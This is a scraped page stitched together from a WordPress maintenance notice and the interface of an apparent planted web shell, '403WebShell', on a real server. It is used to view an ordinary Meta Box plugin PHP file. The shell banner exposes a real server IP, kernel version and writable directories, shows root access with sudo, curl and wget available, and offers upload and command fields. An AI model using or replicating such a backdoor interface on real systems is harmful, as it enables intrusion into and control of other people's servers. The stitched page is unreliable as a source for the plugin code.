WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.252
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/tribe_david/wp-content/plugins/meta-box/inc/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/tribe_david/wp-content/plugins/meta-box/inc/fields/block-editor.php
<?php
defined( 'ABSPATH' ) || die;

class RWMB_Block_Editor_Field extends RWMB_Field {
	public static function admin_enqueue_scripts(): void {
		$asset_file = RWMB_DIR . 'js/block-editor/build/block-editor.asset.php';
		$asset      = require $asset_file;

		wp_enqueue_style(
			'rwmb-block-editor',
			RWMB_URL . 'js/block-editor/build/style-block-editor.css',
			[
				'wp-block-editor',        // @wordpress/block-editor/build-style/style.css
				'wp-components',          // @wordpress/components/build-style/style.css
				'wp-edit-blocks',         // @wordpress/block-library/build-style/editor.css
				'wp-block-library',       // @wordpress/block-library/build-style/style.css
				'wp-block-library-theme', // @wordpress/block-library/build-style/theme.css
				'wp-format-library',
			],
			$asset['version']
		);

		wp_enqueue_script(
			'rwmb-block-editor',
			RWMB_URL . 'js/block-editor/build/block-editor.js',
			array_merge( $asset['dependencies'], [ 'rwmb' ] ),
			$asset['version'],
			true
		);

		$block_editor_context = new WP_Block_Editor_Context();
		$editor_settings      = get_block_editor_settings( [], $block_editor_context );
		RWMB_Helpers_Field::localize_script_once( 'rwmb-block-editor', 'rwmbBlockEditor', [
			'editor_settings' => $editor_settings,
		] );

		// Load block categories.
		wp_add_inline_script(
			'wp-blocks',
			sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ) ) ),
			'after'
		);

		// Preload server-registered block schemas.
		wp_add_inline_script(
			'wp-blocks',
			'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');'
		);

		// Load 3rd party blocks.
		add_filter( 'should_load_block_editor_scripts_and_styles', '__return_true' );

		if ( ! did_action( 'enqueue_block_editor_assets' ) ) {
			do_action( 'enqueue_block_editor_assets' );
		}
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );

		$field = wp_parse_args( $field, [
			'allowed_blocks' => [],
			'height'         => '300px',
		] );

		// Parse allowed_blocks from textarea (one block per line) to array for MB Builder
		if ( is_string( $field['allowed_blocks'] ) ) {
			$field['allowed_blocks'] = array_map( 'trim', explode( "\n", $field['allowed_blocks'] ) );
		}

		$field['allowed_blocks'] = array_values( array_filter( $field['allowed_blocks'] ) );

		return $field;
	}

	/**
	 * Get field HTML.
	 *
	 * @param string $meta  Meta value.
	 * @param array  $field Field settings.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		return sprintf(
			'<textarea data-settings="%1$s" %2$s>%3$s</textarea>',
			esc_attr( wp_json_encode( self::get_editor_settings( $field ) ) ),
			self::render_attributes( self::get_attributes( $field, $meta ) ),
			esc_textarea( (string) $meta )
		);
	}

	/**
	 * Format the value on the front end.
	 *
	 * @param array  $field   Field settings.
	 * @param string $value   The saved value.
	 * @param array  $args    Additional arguments.
	 * @param int    $post_id Current post ID.
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return do_blocks( $value );
	}

	protected static function get_editor_settings( array $field ): array {
		$keys = [ 'allowed_blocks', 'height' ];
		return array_filter( array_intersect_key( $field, array_flip( $keys ) ) );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit